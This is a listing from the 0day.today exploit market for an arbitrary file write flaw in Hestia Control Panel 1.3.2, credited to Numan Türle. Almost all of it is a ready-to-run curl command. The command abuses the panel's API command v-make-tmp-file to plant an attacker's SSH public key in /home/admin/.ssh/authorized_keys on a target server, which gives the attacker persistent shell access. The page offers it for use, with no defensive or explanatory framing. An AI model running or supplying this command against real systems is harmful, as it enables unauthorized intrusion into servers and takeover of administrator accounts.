[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Hestia Control Panel 1.3.2 - Arbitrary File Write Vulnerability

Author
numan türle
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-35976
Category
web applications
Date add
18-03-2021
Platform
php
# Title: Hestia Control Panel 1.3.2 - Arbitrary File Write
# Author: Numan Türle
# Vendor Homepage: https://hestiacp.com/
# Software Link: https://github.com/hestiacp/hestiacp
# Version: < 1.3.3
# Tested on: HestiaCP Version 1.3.2

curl --location --request POST 'https://TARGET:8083/api/index.php' \
--form 'hash="HERE_API_KEY"' \
--form 'returncode="yes"' \
--form 'cmd="v-make-tmp-file"' \
--form 'arg1="ssh-rsa HERE_KEY"' \
--form 'arg2="/home/admin/.ssh/authorized_keys"' \
--form 'arg3=""' \
--form 'arg4=""' \
--form 'arg5=""'

#  0day.today [2024-07-01]  #